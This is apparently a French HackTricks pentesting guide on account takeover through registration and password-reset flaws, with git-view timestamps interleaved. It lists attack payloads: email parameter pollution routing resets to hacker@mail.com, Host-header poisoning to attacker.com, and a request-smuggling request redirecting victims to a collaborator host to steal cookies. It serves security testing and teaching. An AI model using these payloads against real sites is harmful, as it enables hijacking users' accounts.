hacktricks/pentesting-web/registration-vulnerabilities.md

229 lines
12 KiB
Markdown
Raw Normal View History

# Vulnérabilités d'Inscription & de Prise de Contrôle
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en Équipe Rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
2022-04-28 16:01:33 +00:00
</details>
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) est un moteur de recherche alimenté par le **dark web** qui offre des fonctionnalités **gratuites** pour vérifier si une entreprise ou ses clients ont été **compromis** par des **logiciels malveillants voleurs**.
Le but principal de WhiteIntel est de lutter contre les prises de contrôle de compte et les attaques de ransomware résultant de logiciels malveillants volant des informations.
Vous pouvez consulter leur site web et essayer leur moteur **gratuitement** sur :
{% embed url="https://whiteintel.io" %}
***
## Prise de Contrôle de l'Inscription
2022-04-28 16:01:33 +00:00
### Inscription en Double
2021-06-27 14:55:59 +00:00
* Essayez de générer en utilisant un nom d'utilisateur existant
* Vérifiez en variant l'e-mail :
2023-06-03 13:10:46 +00:00
* majuscules
* \+1@
* ajoutez des points dans l'e-mail
* caractères spéciaux dans le nom de l'e-mail (%00, %09, %20)
* Mettez des caractères noirs après l'e-mail : `test@test.com a`
* victim@gmail.com@attacker.com
* victim@attacker.com@gmail.com
2021-06-27 14:55:59 +00:00
### Énumération des Noms d'Utilisateur
2021-06-27 14:55:59 +00:00
Vérifiez si vous pouvez déterminer si un nom d'utilisateur a déjà été enregistré dans l'application.
2021-06-27 14:55:59 +00:00
### Politique de Mot de Passe
2021-06-27 14:55:59 +00:00
En créant un utilisateur, vérifiez la politique de mot de passe (vérifiez si vous pouvez utiliser des mots de passe faibles).\
Dans ce cas, vous pouvez essayer de bruteforcer les informations d'identification.
2021-06-27 14:55:59 +00:00
2023-06-03 13:10:46 +00:00
### Injection SQL
2021-06-27 14:55:59 +00:00
[**Consultez cette page** ](sql-injection/#insert-statement)pour apprendre comment tenter des prises de contrôle de compte ou extraire des informations via des **Injections SQL** dans les formulaires d'inscription.
2021-06-27 14:55:59 +00:00
### Prises de Contrôle Oauth
2021-06-27 14:55:59 +00:00
2023-02-16 18:26:56 +00:00
{% content-ref url="oauth-to-account-takeover.md" %}
[oauth-to-account-takeover.md](oauth-to-account-takeover.md)
{% endcontent-ref %}
2021-06-27 14:55:59 +00:00
2023-06-03 13:10:46 +00:00
### Vulnérabilités SAML
2021-06-27 14:55:59 +00:00
{% content-ref url="saml-attacks/" %}
[saml-attacks](saml-attacks/)
{% endcontent-ref %}
### Changement d'E-mail
Une fois inscrit, essayez de changer l'e-mail et vérifiez si ce changement est correctement validé ou s'il peut être changé en e-mails arbitraires.
2021-06-27 14:55:59 +00:00
### Autres Vérifications
2021-06-27 14:55:59 +00:00
* Vérifiez si vous pouvez utiliser des **e-mails jetables**
* Un **mot de passe long** (>200) entraîne un **DoS**
* **Vérifiez les limites de taux sur la création de compte**
* Utilisez username@**burp\_collab**.net et analysez le **callback**
2021-11-30 00:17:48 +00:00
## **Prise de Contrôle de Réinitialisation de Mot de Passe**
2021-11-30 00:17:48 +00:00
### Fuite de Jeton de Réinitialisation de Mot de Passe Via Référent <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
2021-11-30 00:17:48 +00:00
1. Demandez la réinitialisation du mot de passe à votre adresse e-mail
2. Cliquez sur le lien de réinitialisation du mot de passe
2023-06-03 13:10:46 +00:00
3. Ne changez pas le mot de passe
4. Cliquez sur n'importe quel site tiers (par exemple : Facebook, Twitter)
5. Interceptez la requête dans le proxy Burp Suite
6. Vérifiez si l'en-tête referer divulgue le jeton de réinitialisation du mot de passe.
2021-11-30 00:17:48 +00:00
### Empoisonnement de Réinitialisation de Mot de Passe <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
2021-11-30 00:17:48 +00:00
1. Interceptez la demande de réinitialisation de mot de passe dans Burp Suite
2023-06-03 13:10:46 +00:00
2. Ajoutez ou modifiez les en-têtes suivants dans Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. Transférez la demande avec l'en-tête modifié\
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
4. Recherchez une URL de réinitialisation de mot de passe basée sur l'en-tête _host_ comme : `https://attacker.com/reset-password.php?token=TOKEN`
2021-11-30 00:17:48 +00:00
### Réinitialisation de Mot de Passe Via Paramètre d'E-mail <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
2021-11-30 00:17:48 +00:00
```powershell
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}
# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
```
### IDOR sur les paramètres de l'API <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a>
2021-11-30 00:17:48 +00:00
2023-06-03 13:10:46 +00:00
1. L'attaquant doit se connecter avec son compte et accéder à la fonctionnalité **Changer de mot de passe**.
2. Démarrer Burp Suite et intercepter la requête.
3. Envoyez-la à l'onglet repeater et modifiez les paramètres : ID utilisateur/email\
`powershell POST /api/changepass [...] ("form": {"email":"victime@email.com","password":"motdepasse"})`
2021-11-30 00:17:48 +00:00
2023-06-03 13:10:46 +00:00
### Jeton de réinitialisation de mot de passe faible <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
2021-11-30 00:17:48 +00:00
Le jeton de réinitialisation de mot de passe doit être généré de manière aléatoire et unique à chaque fois.\
Essayez de déterminer si le jeton expire ou s'il est toujours le même, dans certains cas, l'algorithme de génération est faible et peut être deviné. Les variables suivantes pourraient être utilisées par l'algorithme.
2021-11-30 00:17:48 +00:00
2023-06-03 13:10:46 +00:00
* Horodatage
* ID utilisateur
* Email de l'utilisateur
* Prénom et nom de famille
2023-06-03 13:10:46 +00:00
* Date de naissance
* Cryptographie
* Chiffres uniquement
* Petite séquence de jeton (caractères entre \[A-Z,a-z,0-9])
* Réutilisation du jeton
2023-06-03 13:10:46 +00:00
* Date d'expiration du jeton
2021-11-30 00:17:48 +00:00
### Fuite de jeton de réinitialisation de mot de passe <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
2021-11-30 00:17:48 +00:00
1. Déclenchez une demande de réinitialisation de mot de passe en utilisant l'API/l'interface utilisateur pour un e-mail spécifique par exemple : test@mail.com
2. Inspectez la réponse du serveur et recherchez `resetToken`
3. Ensuite, utilisez le jeton dans une URL comme `https://exemple.com/v3/utilisateur/motdepasse/reset?resetToken=[LE_JETON_DE_REINITIALISATION]&email=[L_EMAIL]`
2021-11-30 00:17:48 +00:00
### Réinitialisation de mot de passe via collision de nom d'utilisateur <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
2021-11-30 00:17:48 +00:00
1. Inscrivez-vous sur le système avec un nom d'utilisateur identique à celui de la victime, mais avec des espaces blancs insérés avant et/ou après le nom d'utilisateur. par exemple : `"admin "`
2023-06-03 13:10:46 +00:00
2. Demandez une réinitialisation de mot de passe avec votre nom d'utilisateur malveillant.
3. Utilisez le jeton envoyé à votre e-mail et réinitialisez le mot de passe de la victime.
2023-06-03 13:10:46 +00:00
4. Connectez-vous au compte de la victime avec le nouveau mot de passe.
2021-11-30 00:17:48 +00:00
2023-06-03 13:10:46 +00:00
La plateforme CTFd était vulnérable à cette attaque.\
Voir : [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
2021-11-30 00:17:48 +00:00
2023-06-03 13:10:46 +00:00
### Prise de contrôle de compte via Cross Site Scripting <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
2021-11-30 00:17:48 +00:00
1. Trouvez une XSS à l'intérieur de l'application ou d'un sous-domaine si les cookies sont définis sur le domaine parent : `*.domaine.com`
2. Fuite du **cookie de session** actuel
2023-06-03 13:10:46 +00:00
3. Authentifiez-vous en tant qu'utilisateur en utilisant le cookie
2021-11-30 00:17:48 +00:00
### Prise de contrôle de compte via HTTP Request Smuggling <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>
2021-11-30 00:17:48 +00:00
1\. Utilisez **smuggler** pour détecter le type de HTTP Request Smuggling (CL, TE, CL.TE)\
2021-11-30 00:17:48 +00:00
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\
2\. Créez une requête qui écrasera le `POST / HTTP/1.1` avec les données suivantes :\
`GET http://quelquechose.burpcollaborator.net HTTP/1.1 X:` dans le but de rediriger les victimes vers burpcollab et de voler leurs cookies\
3\. La requête finale pourrait ressembler à ce qui suit
2021-11-30 00:17:48 +00:00
```
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0
GET http://something.burpcollaborator.net HTTP/1.1
X: X
```
Hackerone rapporte l'exploitation de ce bug\
\* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\
\* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666)
### Prise de contrôle de compte via CSRF <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
2021-11-30 00:17:48 +00:00
1. Créer une charge utile pour le CSRF, par exemple : "Formulaire HTML avec soumission automatique pour un changement de mot de passe"
2. Envoyer la charge utile
2021-11-30 00:17:48 +00:00
### Prise de contrôle de compte via JWT <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
2021-11-30 00:17:48 +00:00
Le jeton JSON Web peut être utilisé pour authentifier un utilisateur.
2021-11-30 00:17:48 +00:00
* Modifier le JWT avec un autre ID utilisateur / Email
* Vérifier la signature JWT faible
2021-11-30 00:17:48 +00:00
{% content-ref url="hacking-jwt-json-web-tokens.md" %}
[hacking-jwt-json-web-tokens.md](hacking-jwt-json-web-tokens.md)
{% endcontent-ref %}
2023-06-03 13:10:46 +00:00
## Références
2021-11-30 00:17:48 +00:00
* [https://salmonsec.com/cheatsheet/account\_takeover](https://salmonsec.com/cheatsheet/account\_takeover)
2022-04-28 16:01:33 +00:00
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) est un moteur de recherche alimenté par le **dark web** qui offre des fonctionnalités **gratuites** pour vérifier si une entreprise ou ses clients ont été **compromis** par des **logiciels malveillants voleurs**.
Le but principal de WhiteIntel est de lutter contre les prises de contrôle de compte et les attaques de ransomware résultant de logiciels malveillants volant des informations.
Vous pouvez consulter leur site web et essayer leur moteur **gratuitement** sur :
{% embed url="https://whiteintel.io" %}
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Autres façons de soutenir HackTricks :
2022-04-28 16:01:33 +00:00
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>